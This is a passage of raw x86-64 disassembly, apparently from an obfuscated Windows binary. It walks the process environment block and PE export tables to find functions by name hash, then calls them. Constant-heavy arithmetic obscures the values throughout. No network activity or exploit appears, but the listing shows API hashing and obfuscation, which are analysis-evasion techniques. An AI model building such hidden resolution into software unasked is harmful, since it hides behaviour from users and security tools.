movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x148]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x148], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x140]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x140], rcx
and rcx, rdx
cmp rbx, rcx
setne al
mov qword [rsp + 0x148], r13
mov qword [rsp + 0x140], r13
test al, al
jne 0x1401d3bbf
mov dword [rsp + 0x98], r13d
mov dword [rsp + 0x98], 0x465e77d2
mov eax, dword [rsp + 0x98]
add eax, 0x3e63eeb5
xor eax, 0x8409d068
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x5a20baca
xor eax, 0x3a3d1b41
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xc6cfea65
add eax, ecx
xor eax, 0x20d67dc3
add eax, 0x4abf52cf
xor eax, 0xba0a0ab7
lea edx, [rcx - 0x75eadecc]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8f98e0e
sub edx, eax
mov eax, dword [0x1402b2030]
xor eax, 0x270671f1
add eax, 0x7a1e4828
add eax, edx
xor eax, 0xe0f6e92e
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x98], eax
mov dword [rsp + 0x98], r13d
mov dword [rsp + 0x90], 0x1cc6abde
jmp 0x1401d3d94
mov edi, r13d
mov eax, 0x1cc6abde
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x78], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x1401d3c3e
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0xb591260a
jmp 0x1401d3c30
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, r15d
xor r8d, r12d
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x1401d3c0f
cmp r10d, edi
jne 0x1401d3cdb
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x1401d3cdb
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x1401d3cdb
mov r9d, dword [rbx + 0x20]
mov r8d, dword [rsp + 0x78]
dec esi
mov edx, esi
mov qword [rsp + 0x30], rdx
lea rdx, [r9 + rsi*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, 0xb591260a
mov r9b, byte [r11]
add r11, r14
test r9b, r9b
je 0x1401d3cce
mov r10d, edx
movsx r8d, r9b
mov r9d, r8d
imul r9d, r8d
add r9d, r15d
xor r9d, r12d
mov edx, r10d
xor edx, r8d
mov r10d, r9d
imul r10d, edx
mov r9b, byte [r11]
add r11, r14
test r9b, r9b
jne 0x1401d3c93
mov dword [rsp + 0x68], r10d
mov r10, qword [rax + 0x30]
mov edx, dword [rsp + 0x68]
mov r8d, dword [rsp + 0x78]
cmp edx, r8d
je 0x1401d3ce3
test esi, esi
mov r9d, dword [rbx + 0x20]
jne 0x1401d3c6c
mov rax, qword [rax]
jmp 0x1401d3be3
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
mov r8, qword [rsp + 0x30]
movzx eax, word [rax + r8*2]
mov r8d, dword [rdx + rax*4]
add r8, r10
cmp r8, rbx
jbe 0x1401d3d82
lea rax, [rbx + rcx]
cmp r8, rax
jae 0x1401d3d82
mov edi, 0xb591260a
mov r11d, edi
mov dword [rsp + 0x78], edi
jmp 0x1401d3d34
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edi
mov edi, eax
imul edi, ecx
add r8, r14
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401d3d1c
add r8, r14
mov al, byte [r8]
test al, al
je 0x1401d3d6c
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, r11d
mov r11d, eax
imul r11d, ecx
add r8, r14
mov al, byte [r8]
test al, al
jne 0x1401d3d45
mov dword [rsp + 0x78], r11d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d3cdb
mov rbx, qword [rsp + 0x1b8]
mov rcx, rbx
call r8
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x9c], r13d
mov dword [rsp + 0x9c], 0xd5ffde88
mov eax, dword [rsp + 0x9c]
add eax, 0x39dcb330
xor eax, 0x4884cbe1
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
add eax, 0x34ecdae8
xor eax, 0x52d673b4
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xd6757bb2
add eax, ecx
xor eax, 0xda00bda7
sub eax, 0x4470390b
xor eax, 0x1875ccb4
lea edx, [rcx - 0x148355e8]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xc4e77120
sub edx, eax
mov eax, dword [0x1402b2030]
xor eax, 0x3b188edf
add eax, 0x942f4526
add eax, edx
xor eax, 0xe15b4ae0
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x9c], eax
mov dword [rsp + 0xa0], r13d
mov dword [rsp + 0xa0], 0x8bc34459
mov eax, dword [rsp + 0xa0]
add eax, 0x3f8895b5
xor eax, 0x2b09d18d
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x5a2428bf
xor eax, 0x3913e1a5
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0x4542a9b5
add eax, ecx
xor eax, 0x1f88af47
add eax, 0x4b04018b
xor eax, 0x8177ae12
lea edx, [rcx - 0x7707853b]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8fe20aa
sub edx, eax
mov eax, dword [0x1402b2030]
xor eax, 0x2701df55
add eax, 0x7eb536c4
add eax, edx
xor eax, 0x717eee72
mov dword [rsp + 0x70], eax
mov dword [rsp + 0xa0], eax
mov qword [rsp + 0x150], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x158], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x158]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x158], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x150]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x150], rcx
and rcx, rdx
cmp rbx, rcx
setne al
mov qword [rsp + 0x158], r13
mov qword [rsp + 0x150], r13
test al, al
jne 0x1401d418e
mov dword [rsp + 0xa4], r13d
mov dword [rsp + 0xa4], 0x6a07db45
mov eax, dword [rsp + 0xa4]
add eax, 0x5be52b4
xor eax, 0xe80897c2
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x5676c9f6
xor eax, 0x77c54db2
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0x6f34b7a9
add eax, ecx
xor eax, 0x857363b4
sub eax, 0x1c94bc2
xor eax, 0x36669de5
lea edx, [rcx - 0x45d1ca0f]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd416f79e
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x2be90861
add ecx, 0xb2e741b4
add ecx, edx
xor ecx, 0xfd3ec2de
mov dword [rsp + 0xa4], ecx
mov dword [rsp + 0xa4], r13d
mov dword [rsp + 0x40], 0x4a15c286
jmp 0x1401d4338
mov ebx, r13d
mov eax, 0x4a15c286
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x30], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1401d4202
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0x10021614
jmp 0x1401d41f8
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, r15d
xor ecx, r12d
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1401d41db
cmp r9d, ebx
jne 0x1401d4281
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r11d, ecx
add r11, r10
shr rcx, 0x20
cmp r11, r10
je 0x1401d4281
mov edi, dword [r11 + 0x18]
test edi, edi
je 0x1401d4281
mov edx, dword [r11 + 0x20]
dec edi
mov r8d, edi
lea rdx, [rdx + rdi*4]
mov r9d, dword [rdx + r10]
add r9, r10
mov esi, 0x10021614
mov dl, byte [r9]
add r9, r14
test dl, dl
je 0x1401d4273
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, r15d
xor edx, r12d
xor r8d, esi
mov esi, edx
imul esi, r8d
mov dl, byte [r9]
add r9, r14
test dl, dl
jne 0x1401d424c
mov r8d, edi
cmp esi, dword [rsp + 0x30]
je 0x1401d4289
test edi, edi
mov edx, dword [r11 + 0x20]
jne 0x1401d422d
mov rax, qword [rax]
jmp 0x1401d41af
mov edx, dword [r11 + 0x1c]
add rdx, r10
mov eax, dword [r11 + 0x24]
add rax, r10
movzx eax, word [rax + r8*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
cmp r9, r11
jbe 0x1401d4320
lea rax, [r11 + rcx]
cmp r9, rax
jae 0x1401d4320
mov ebx, 0x10021614
mov edx, ebx
mov dword [rsp + 0x30], ebx
jmp 0x1401d42d6
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
add r9, r14
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401d42be
add r9, r14
mov al, byte [r9]
test al, al
je 0x1401d430a
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edx
mov edx, eax
imul edx, ecx
add r9, r14
mov al, byte [r9]
test al, al
jne 0x1401d42e7
mov dword [rsp + 0x30], edx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d4281
mov r8d, dword [rsp + 0x68]
mov edx, dword [rsp + 0x70]
mov rbx, qword [rsp + 0x1b8]
mov rcx, rbx
call r9
nop
mov dword [rsp + 0xa0], r13d
mov dword [rsp + 0x9c], r13d
mov qword [rsp + 0x160], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x168], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x168]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x168], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x160]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x160], rcx
and rcx, rdx
cmp rbx, rcx
setne al
mov qword [rsp + 0x168], r13
mov qword [rsp + 0x160], r13
test al, al
jne 0x1401d460f
mov dword [rsp + 0xb0], r13d
mov dword [rsp + 0xb0], 0x465e77d2
mov eax, dword [rsp + 0xb0]
add eax, 0x3e63eeb5
xor eax, 0x8409d068
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x5a20baca
xor eax, 0x3a3d1b41
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0xc6cfea65
add eax, ecx
xor eax, 0x20d67dc3
add eax, 0x4abf52cf
xor eax, 0xba0a0ab7
lea edx, [rcx - 0x75eadecc]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8f98e0e
sub edx, eax
mov eax, dword [0x1402b2030]
xor eax, 0x270671f1
add eax, 0x7a1e4828
add eax, edx
xor eax, 0xe0f6e92e
mov dword [rsp + 0x30], eax
mov dword [rsp + 0xb0], eax
mov dword [rsp + 0xb0], r13d
jmp 0x1401d47b9
mov ebx, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x1401d467a
psrldq xmm0, 8
movq r8, xmm0
movzx ecx, cx
shr rcx, 1
lea r10, [r8 + rcx*2]
mov r9d, 0xb591260a
jmp 0x1401d466c
movsx edx, byte [r8]
mov ecx, edx
imul ecx, edx
add ecx, r15d
xor ecx, r12d
xor edx, r9d
mov r9d, ecx
imul r9d, edx
add r8, 2
cmp r8, r10
jne 0x1401d464f
cmp r9d, ebx
jne 0x1401d46fc
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov rcx, qword [rcx + r9 + 0x88]
mov r11d, ecx
add r11, r9
shr rcx, 0x20
cmp r11, r9
je 0x1401d46fc
mov edi, dword [r11 + 0x18]
test edi, edi
je 0x1401d46fc
mov edx, dword [r11 + 0x20]
dec edi
mov r8d, edi
lea rdx, [rdx + rdi*4]
mov r10d, dword [rdx + r9]
add r10, r9
mov esi, 0xb591260a
mov dl, byte [r10]
add r10, r14
test dl, dl
je 0x1401d46eb
movsx r8d, dl
mov edx, r8d
imul edx, r8d
add edx, r15d
xor edx, r12d
xor r8d, esi
mov esi, edx
imul esi, r8d
mov dl, byte [r10]
add r10, r14
test dl, dl
jne 0x1401d46c4
mov r8d, edi
cmp esi, dword [rsp + 0x90]
je 0x1401d4704
test edi, edi
mov edx, dword [r11 + 0x20]
jne 0x1401d46a5
mov rax, qword [rax]
jmp 0x1401d4623
mov edx, dword [r11 + 0x1c]
add rdx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r8*2]
mov r8d, dword [rdx + rax*4]
add r8, r9
cmp r8, r11
jbe 0x1401d47a7
lea rax, [r11 + rcx]
cmp r8, rax
jae 0x1401d47a7
mov eax, 0xb591260a
mov ebx, eax
mov edx, eax
mov dword [rsp + 0x90], eax
jmp 0x1401d475a
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, ebx
mov ebx, eax
imul ebx, ecx
add r8, r14
mov al, byte [r8]
cmp al, 0x2e
jne 0x1401d4742
add r8, r14
mov al, byte [r8]
test al, al
je 0x1401d4791
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edx
mov edx, eax
imul edx, ecx
add r8, r14
mov al, byte [r8]
test al, al
jne 0x1401d476b
mov dword [rsp + 0x90], edx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d46fc
mov rbx, qword [rsp + 0x1b8]
mov rcx, rbx
call r8
mov dword [rsp + 0x30], eax
mov dword [rsp + 0xb4], r13d
mov dword [rsp + 0xb4], 0x14bf4bc7
mov edx, dword [rsp + 0xb4]
add edx, 0x388eeab5
xor edx, 0x8009ca93
sub edx, dword [0x1402b2058]
sub edx, dword [0x1402b2050]
sub edx, 0x5a0f3bbe
xor edx, 0x40297351
sub edx, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
lea eax, [rcx - 0x31456ead]
add eax, edx
xor eax, 0x277d7653
add eax, 0x4728a41f
xor eax, 0xdcf4bb60
lea edx, [rcx - 0x703eade8]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd8e239fe
sub edx, eax
mov eax, dword [0x1402b2030]
xor eax, 0x271dc601
add eax, 0x62f2eb98
add eax, edx
xor eax, 0x1582adfe
mov dword [rsp + 0x70], eax
mov dword [rsp + 0xb4], eax
mov qword [rsp + 0x170], r13
movabs rax, 0x4ff6a1ddb52ae430
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], r13
movabs rax, 0x2ced2905ed94c244
mov qword [rsp + 0x178], rax
movabs rcx, 0xf33a52b722449e03
add rcx, qword [rsp + 0x178]
movabs rax, 0xc3553662530ab449
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0xedf047f5ccc5cd9
sub rcx, rax
movabs rax, 0xf8f8cd9752cce935
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0xc7d654b8117c6c70
add rcx, rax
mov rsi, qword [0x1402b2040]
add rcx, rsi
movabs rax, 0x5a9179a71cea35cd
xor rcx, rax
movabs rax, 0x5f627dc684b7c9e0
sub rcx, rax
movabs rax, 0xee3b3cd1d012940b
xor rcx, rax
movabs rdx, 0x3483ce43ac6f96b2
add rdx, rcx
add rdx, rsi
not rdx
mov r10, qword [0x1402b2038]
mov rax, r10
movabs rcx, 0x13cce94adc8910cc
xor rax, rcx
sub rdx, rax
mov r11, qword [0x1402b2030]
mov rcx, r11
movabs rax, 0xec3316b52376ef33
xor rcx, rax
movabs rax, 0xe0b56d920d7287a1
add rdx, rax
add rdx, rcx
movabs rax, 0x21462a838804cca4
xor rdx, rax
mov qword [rsp + 0x178], rdx
movabs rcx, 0xf33a52b6c2be8983
add rcx, qword [rsp + 0x170]
movabs rax, 0xaed53662530a54c3
xor rcx, rax
sub rcx, qword [0x1402b2058]
sub rcx, qword [0x1402b2050]
movabs rax, 0x7120fb80a4523565
add rcx, rax
movabs rax, 0xf8f8cd97b3d11607
xor rcx, rax
sub rcx, qword [0x1402b2048]
movabs rax, 0x87d654b89326ed44
add rcx, rax
add rcx, rsi
movabs rax, 0x5a9179a789df252f
xor rcx, rax
movabs rax, 0x5f627dc6d4dd2faa
sub rcx, rax
movabs rax, 0x923b3cd1ffd89a7c
xor rcx, rax
movabs rax, 0xb483ce44095900a3
add rcx, rax
add rcx, rsi
not rcx
movabs rax, 0x13cce94adb0af87a
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b524f50785
xor r11, rax
movabs rax, 0xe0b56d908ddc1d4f
add rcx, rax
add rcx, r11
movabs rax, 0x77b196940e406d62
xor rcx, rax
mov qword [rsp + 0x170], rcx
and rcx, rdx
cmp rbx, rcx
setne al
mov qword [rsp + 0x178], r13
mov qword [rsp + 0x170], r13
test al, al
jne 0x1401d4b1a
mov dword [rsp + 0xb8], r13d
mov dword [rsp + 0xb8], 0x6a07db45
mov eax, dword [rsp + 0xb8]
add eax, 0x5be52b4
xor eax, 0xe80897c2
sub eax, dword [0x1402b2058]
sub eax, dword [0x1402b2050]
sub eax, 0x5676c9f6
xor eax, 0x77c54db2
sub eax, dword [0x1402b2048]
mov rcx, qword [0x1402b2040]
add eax, 0x6f34b7a9
add eax, ecx
xor eax, 0x857363b4
sub eax, 0x1c94bc2
xor eax, 0x36669de5
lea edx, [rcx - 0x45d1ca0f]
add edx, eax
not edx
mov eax, dword [0x1402b2038]
xor eax, 0xd416f79e
sub edx, eax
mov ecx, dword [0x1402b2030]
xor ecx, 0x2be90861
add ecx, 0xb2e741b4
add ecx, edx
xor ecx, 0xfd3ec2de
mov dword [rsp + 0xb8], ecx
mov dword [rsp + 0xb8], r13d
jmp 0x1401d4cd0
mov edi, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
movups xmm0, xmmword [rax + 0x58]
movd ecx, xmm0
sub cx, 8
test edi, edi
je 0x1401d4b89
psrldq xmm0, 8
movq r9, xmm0
movzx ecx, cx
shr rcx, 1
lea r11, [r9 + rcx*2]
mov r10d, 0x10021614
jmp 0x1401d4b7b
movsx edx, byte [r9]
mov r8d, edx
imul r8d, edx
add r8d, r15d
xor r8d, r12d
mov ecx, r10d
xor ecx, edx
mov r10d, r8d
imul r10d, ecx
add r9, 2
cmp r9, r11
jne 0x1401d4b5a
cmp r10d, edi
jne 0x1401d4c1c
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov ebx, ecx
add rbx, r10
shr rcx, 0x20
cmp rbx, r10
je 0x1401d4c1c
mov esi, dword [rbx + 0x18]
test esi, esi
je 0x1401d4c1c
mov r8d, dword [rbx + 0x20]
dec esi
mov r9d, esi
lea rdx, [r10 + rsi*4]
mov r11d, dword [rdx + r8]
add r11, r10
mov edx, 0x10021614
mov r8b, byte [r11]
add r11, r14
test r8b, r8b
je 0x1401d4c0e
mov r10d, edx
movsx r8d, r8b
mov r9d, r8d
imul r9d, r8d
add r9d, r15d
xor r9d, r12d
mov edx, r10d
xor edx, r8d
mov r10d, r9d
imul r10d, edx
mov r8b, byte [r11]
add r11, r14
test r8b, r8b
jne 0x1401d4bd5
mov dword [rsp + 0x68], r10d
mov r10, qword [rax + 0x30]
mov edx, dword [rsp + 0x68]
mov r9d, esi
cmp edx, dword [rsp + 0x40]
je 0x1401d4c24
test esi, esi
mov r8d, dword [rbx + 0x20]
jne 0x1401d4bb2
mov rax, qword [rax]
jmp 0x1401d4b2e
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov eax, dword [rbx + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rdx + rax*4]
add r9, r10
cmp r9, rbx
jbe 0x1401d4cbb
lea rax, [rbx + rcx]
cmp r9, rax
jae 0x1401d4cbb
mov eax, 0x10021614
mov edi, eax
mov edx, eax
mov dword [rsp + 0x40], eax
jmp 0x1401d4c71
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edi
mov edi, eax
imul edi, ecx
add r9, r14
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401d4c59
add r9, r14
mov al, byte [r9]
test al, al
je 0x1401d4ca5
movsx ecx, al
mov eax, ecx
imul eax, ecx
add eax, r15d
xor eax, r12d
xor ecx, edx
mov edx, eax
imul edx, ecx
add r9, r14
mov al, byte [r9]
test al, al
jne 0x1401d4c82
mov dword [rsp + 0x40], edx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
jmp 0x1401d4c1c
mov r8d, dword [rsp + 0x70]
mov edx, dword [rsp + 0x78]
mov rcx, qword [rsp + 0x1b8]
call r9
nop
mov dword [rsp + 0xb4], r13d
mov edx, dword [rsp + 0x30]
movsxd rax, edx
mov qword [rsp + 0x70], rax
movabs rdi, 0xf16da18bc95571bd
mov qword [rsp + 0x40], rdi
movabs rax, 0x1600000000000000
movabs r11, 0xacfcae265dcf5ece
mov r8, qword [0x1402b2080]
imul r8, rax
movabs rax, 0x4d00000000000000
xor r8, rax
mov qword [rsp + 0x68], r8
mov rcx, r8
imul rcx, r11
mov qword [rsp + 0x90], rcx
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r8
and r9, r11
lea r11, [0x1402b2060]
imul r9, qword [r11 + rcx*8]
movabs rax, 0x19a217c3ffba330e
imul r9, rax
shr r9, 3
movabs rax, 0x75f183da3f54ee43
xor r9, rax
movabs rax, 0xffffff57b609e261
mov rsi, r8
imul rsi, rax
sub rsi, 0x1bc8dada
xor rsi, r9
xor rsi, qword [0x1402b2060]
mov rax, r9
imul rax, qword [0x1402b2070]
movabs rcx, 0xb9de928bbfba5d40
imul rax, rcx
not rax
and rsi, rax
ror rsi, 0x3f
shr rsi, 8
movabs rcx, 0x530351d9a230a132
add rcx, r8
xor rcx, 0xffffffff8134564d
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x70cdb9615c21be00
mov rbx, qword [r11 + rcx*8]
imul rbx, rax
movabs rdx, 0x530351d9a230a132
sub rbx, rdx
movabs rcx, 0x5efa03800d5fb058
mov rax, r9
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov rax, rbx
xor rax, r8
mov qword [rsp + 0x78], rax
lea rcx, [rbx + rdx]
mov rax, r10
mul rcx
